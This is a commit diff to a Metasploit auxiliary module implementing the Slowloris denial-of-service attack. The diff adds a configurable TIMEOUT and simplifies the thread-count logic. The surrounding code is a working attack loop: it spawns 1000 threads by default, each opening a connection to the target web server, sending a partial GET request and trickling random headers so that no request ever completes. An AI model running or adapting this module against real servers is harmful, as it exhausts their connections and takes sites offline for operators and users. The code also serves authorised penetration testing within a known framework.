Update slow_loris.rb
parent
aa16288140
commit
74becb69e8
|
@ -12,7 +12,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
info,
|
info,
|
||||||
'Name' => 'Slow Loris DoS',
|
'Name' => 'Slow Loris DoS',
|
||||||
'Description' => %q{Slowloris tries to keep many connections to the target web server open and hold them open as long as possible.
|
'Description' => %q{Slowloris tries to keep many connections to the target web server open and hold them open as long as possible.
|
||||||
It accomplishes this by opening connections to the target web server and sending a partial request.
|
It accomplishes this by opening connections to the target web server and sending a partial request.
|
||||||
Periodically, it will send subsequent requests, adding to but never completing the request.},
|
Periodically, it will send subsequent requests, adding to but never completing the request.},
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Author' =>
|
'Author' =>
|
||||||
|
@ -32,7 +32,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
[
|
[
|
||||||
Opt::RPORT(80),
|
Opt::RPORT(80),
|
||||||
OptInt.new('THREADS', [true, 'The number of concurrent threads', 1000]),
|
OptInt.new('THREADS', [true, 'The number of concurrent threads', 1000]),
|
||||||
OptInt.new('HEADERS', [true, 'The number of custom headers sent by each thread', 10])
|
OptInt.new('HEADERS', [true, 'The number of custom headers sent by each thread', 10]),
|
||||||
|
OptInt.new('TIMEOUT', [true, 'The maximum time in seconds to wait for each request to finish', 15])
|
||||||
])
|
])
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -43,16 +44,20 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
def headers
|
def headers
|
||||||
datastore['HEADERS']
|
datastore['HEADERS']
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def timeout
|
||||||
|
datastore['TIMEOUT']
|
||||||
|
end
|
||||||
|
|
||||||
def run
|
def run
|
||||||
starting_thread = 1
|
starting_thread = 1
|
||||||
header = "GET / HTTP/1.1\r\n"
|
header = "GET / HTTP/1.1\r\n"
|
||||||
threads = []
|
threads = []
|
||||||
|
|
||||||
loop do
|
loop do
|
||||||
print_status("Executing requests #{starting_thread} - #{(starting_thread + [thread_count].min) - 1}...")
|
print_status("Executing requests #{starting_thread} - #{(starting_thread + thread_count) - 1}...")
|
||||||
|
|
||||||
1.upto([thread_count].min) do |i|
|
1.upto(thread_count) do |i|
|
||||||
threads << framework.threads.spawn("Module(#{self.refname})-request#{(starting_thread - 1) + i}", false, i) do |i|
|
threads << framework.threads.spawn("Module(#{self.refname})-request#{(starting_thread - 1) + i}", false, i) do |i|
|
||||||
begin
|
begin
|
||||||
connect()
|
connect()
|
||||||
|
@ -60,13 +65,13 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
headers.times do
|
headers.times do
|
||||||
data = "X-a-#{rand(0..1000)}: b\r\n"
|
data = "X-a-#{rand(0..1000)}: b\r\n"
|
||||||
sock.puts(data)
|
sock.puts(data)
|
||||||
sleep rand(1..15)
|
sleep rand(1..timeout)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
threads.each(&:join)
|
threads.each(&:join)
|
||||||
starting_thread += [thread_count].min
|
starting_thread += thread_count
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue